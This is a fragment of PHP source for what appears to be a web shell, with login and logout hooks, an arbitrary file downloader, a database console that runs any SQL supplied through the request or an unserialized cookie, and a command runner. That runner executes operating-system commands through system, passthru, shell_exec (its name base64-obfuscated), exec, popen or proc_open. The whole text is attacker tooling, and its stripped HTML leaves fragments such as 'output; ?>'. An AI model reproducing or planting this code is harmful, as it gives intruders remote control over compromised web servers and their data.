";
}
}
public static function downloader($file) {
header("Content-Disposition: attachment; filename=\"" . @basename($file) . "\"");
header("Content-Length: \"" . @filesize($file) . "\"");
header("Content-Type: application/octet-stream;");
@readfile($file);
exit();
}
}
class Database {
private $my_dbs = "SHOW DATABASES;";
private $my_tbl = "SHOW TABLES;";
private $ms_dbs = "SELECT name FROM master.dbo.sysdatabases";
private $ms_tbl = "SELECT * FROM INFORMATION_SCHEMA.TABLES;";
public function __construct() {
$cookies = isset($_COOKIE["shell_sql"]) ? unserialize($_COOKIE["shell_sql"]):array("host", "user", "pass", "db", "dbms");
$get_db = isset($_GET['db']) ? urldecode($_GET['db']):null;
$get_table = isset($_GET['table']) ? urldecode($_GET['table']):null;
$this->host = isset($_POST['host']) ? $_POST['host']:$cookies[0];
$this->user = isset($_POST['user']) ? $_POST['user']:$cookies[1];
$this->pass = isset($_POST['pass']) ? $_POST['pass']: $cookies[2];
$this->db = (isset($get_db) ? $get_db : (isset($_POST['db']) ? $_POST['db']:$cookies[3]));
$this->dbms = isset($_POST['dbms']) ? $_POST['dbms']:$cookies[4];
$this->query = (isset($get_db) ? "SHOW TABLES;":(isset($get_table) ? "SELECT * FROM $get_table;":$this->my_dbs));
if(isset($_POST["submit"]))
$this->query = ((@$_POST['query'] != "") ? $_POST['query']:($this->dbms == "mssql" ? $this->ms_dbs:$this->my_dbs));
$this->output = "";
}
public function body() {
?>
output; ?>
dbms:host=$this->host; dbname=$this->db";
try {
@$conn = new PDO("$this->dbms:host=$this->host; dbname=$this->db", $this->user, $this->pass);
@$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
@$query = $conn->prepare($this->query);
try {
@$query->execute();
if(strtoupper(substr($this->query, 0, 6)) == "SELECT" || strtoupper(substr($this->query, 0, 4)) == "SHOW")
$this->read($query);
else
$this->output = "Query executed.";
} catch(PDOException $e) {
$this->output = "Query failed." . $e->getMessage();
}
} catch(PDOException $e) {
$this->output = "Connection failed: " . $e->getMessage();
}
$conn = null;
}
}
private function read($query) {
$this->output = "";
$result = @$query->setFetchMode(PDO::FETCH_ASSOC);
foreach($query->fetchAll() as $id => $row) {
if($id == 0) {
$this->output .= "";
foreach($row as $n => $v)
$this->output .= "| $n | ";
$this->output .= "
";
}
$this->output .= "";
foreach($row as $n => $v) {
if(strtoupper($n) == "DATABASE")
$this->output .= "| " . $v . " | ";
elseif(strtoupper(substr($n, 0, 5)) == "TABLE")
$this->output .= "" . $v . " | ";
else
$this->output .= "" . htmlspecialchars($v) . " | ";
}
$this->output .= "
";
}
$this->output .= "
";
}
}
class Cmd {
public static function body() {
?>
&1";
echo "";
Cmd::run($cmd);
echo "
";
}
}
public static function run($cmd) {
if(is_callable("system"))
system($cmd);
elseif(is_callable("passthru"))
passthru($cmd);
else
echo Cmd::output($cmd);
}
public static function output($cmd) {
$output = "";
if(is_callable(baseos("c2hlbGxfZXhlYw=="))) {
$output = shell_exec($cmd);
} elseif(is_callable("exec")) {
exec($cmd, $out);
foreach($out as $o)
$output .= $o . PHP_EOL;
} elseif(is_callable("popen")) {
if(($pop = popen($cmd, 'r')) !== false) {
while(!feof($pop))
$output .= fread($pop, 1024);
pclose($pop);
}
} elseif(is_callable("proc_open")) {
$desc = array(0=>array("pipe", "r"), 1=>array("pipe", "w"), 2=>array("pipe", "w"));
$proc = proc_open($cmd, $desc, $pipes);
while(!feof($pipes[1]))
$output .= fread($pipes[1], 1024) ;
fclose($pipes[1]);
proc_close($proc);
} else {
$output = "Failed.";
}
return $output;
}
}
class Css {
public static function colors() {
if(STYLE == "dark")
$colors = array(
"color"=>"#ddefff", "back"=>"#181818",
"link"=>"#ddefff", "visited"=>"#83c5ff", "hover"=>"#202020"
);
else
$colors = array(
"color"=>"#181818", "back"=>"#f0f8ff",
"link"=>"#015fb2", "visited"=>"#00437e", "hover"=>"#ddefff"
);
return $colors;
}
public static function style($part="color") {
$colors = Css::colors();
if($part == "body" || $part == "table" || $part == "tr" || $part == "th" || $part == "td") {
return sprintf(" color:%s; background-color:%s; ", $colors['color'], $colors['back']);
} elseif($part == "input") {
if(STYLE == "dark")
return sprintf(" color:%s; background-color:%s; border:1px solid %s; ", $colors['back'], $colors['color'], $colors['visited']);
else
return sprintf(" color:%s; background-color:%s; border:1px solid %s; ", $colors['hover'], "#242424", $colors['link']);
} elseif($part == "hover") {
return sprintf(" color:%s; background-color:%s; ", $colors['color'], $colors['hover']);
} else {
return $colors;
}
}
}
?>
remote(); ?>
login(); ?>
logout(); ?>
download(); ?>
Shell
info(); ?>
actions(); ?>